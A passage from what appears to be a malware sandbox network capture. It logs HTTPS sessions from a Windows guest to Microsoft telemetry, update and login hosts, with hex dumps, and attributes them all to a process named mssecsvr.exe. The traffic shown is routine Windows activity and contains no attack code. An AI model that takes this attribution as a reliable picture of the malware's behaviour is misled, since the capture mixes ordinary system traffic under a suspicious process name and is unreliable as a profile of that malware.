2022-07-20 17:32:51 UTC	8792	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.7	55151	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:51 UTC	8760	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220721T023224Z&asid=06278ea804e74d4c8c813acfbb518d91&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:51 UTC	8760	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: b0a7719f-0bf9-42db-a9b1-55f109afc56b Date: Wed, 20 Jul 2022 17:32:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.7	55228	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:52 UTC	8796	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:53 UTC	8796	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 7451db0e-b0ef-4655-87b0-3673e9498e34 MS-RequestId: 213d99f4-4908-4e9b-bd6b-b286a8ac9533 MS-CV: 5MFXQWS+akG0TLHc.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:52 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:53 UTC	8797	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:53 UTC	8812	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:53 UTC	8828	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.7	55280	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:53 UTC	8832	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:53 UTC	8832	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: ef2666c0-9640-4656-8faa-ff3749ecfe23 MS-RequestId: 7b9f43f5-79f1-4bf4-bfae-e459de434968 MS-CV: Pb7Ptupyg0Sa5IuJ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:52 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:53 UTC	8833	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:53 UTC	8848	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:53 UTC	8864	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.7	55361	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:54 UTC	8868	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1522 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-20 17:32:54 UTC	8868	OUT	Data Raw: 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 54 49 44 3d 37 30 30 31 32 39 37 30 32 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 30 34 30 32 39 32 36 26 42 49 44 3d 31 31 39 38 36 33 38 36 35 30 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 54 26 54 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 52 45 51 41 53 49 44 3d 34 44 37 33 36 41 39 44 41 33 44 34 34 30 30 35 42 31 33 45 31 35 32 46 31 39 39 35 39 43 37 30 26 41 53 49 44 3d 33 66 64 32 38 39 38 66 37 38 36 61 34 37 63 32 39 37 66 62 61 35 66 63 31 65 34 31 36 64 32 65 26 54 49 4d 45 3d 32 30 32 32 30 37 32 31 54 30 32 33 31 33 30 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 31 37 33 30 34 38 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 38 38 Data Ascii: PID=400091688&TID=700129702&CID=128000000000402926&BID=1198638650&PG=PC000P0FR5.0000000IRT&TPID=400091688&REQASID=4D736A9DA3D44005B13E152F19959C70&ASID=3fd2898f786a47c297fba5fc1e416d2e&TIME=20220721T023130Z&SLOT=1&REQT=20220720T173048&MA_Score=2&PERSID=88
2022-07-20 17:32:54 UTC	8869	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:32:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.7	55367	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:54 UTC	8870	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:55 UTC	8870	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 4001f89d-a326-452a-87c0-0c27dbc0fcb0 MS-RequestId: 0d5c3f73-e925-403b-9c88-beea2b6cc962 MS-CV: kDj5JAhCOUmWDUQT.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:54 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:55 UTC	8871	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:55 UTC	8886	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:55 UTC	8902	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	50107	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:37 UTC	154	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 17:30:37 UTC	155	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:30:37 UTC	164	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:29:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 45b5915e-b2ca-4d63-9a11-a7f245583384 PPServer: PPV: 30 H: BL02EPF000066AA V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:30:36 GMT Connection: close Content-Length: 11093
2022-07-20 17:30:37 UTC	165	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.7	55441	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:55 UTC	8906	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:56 UTC	8907	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 3d490825-6212-4091-86eb-3122fd234511 MS-RequestId: d147846c-b3cc-474a-9884-780c78ccce37 MS-CV: AEz/yTTyVUeqw7Fd.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:55 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:56 UTC	8908	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:56 UTC	8923	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a 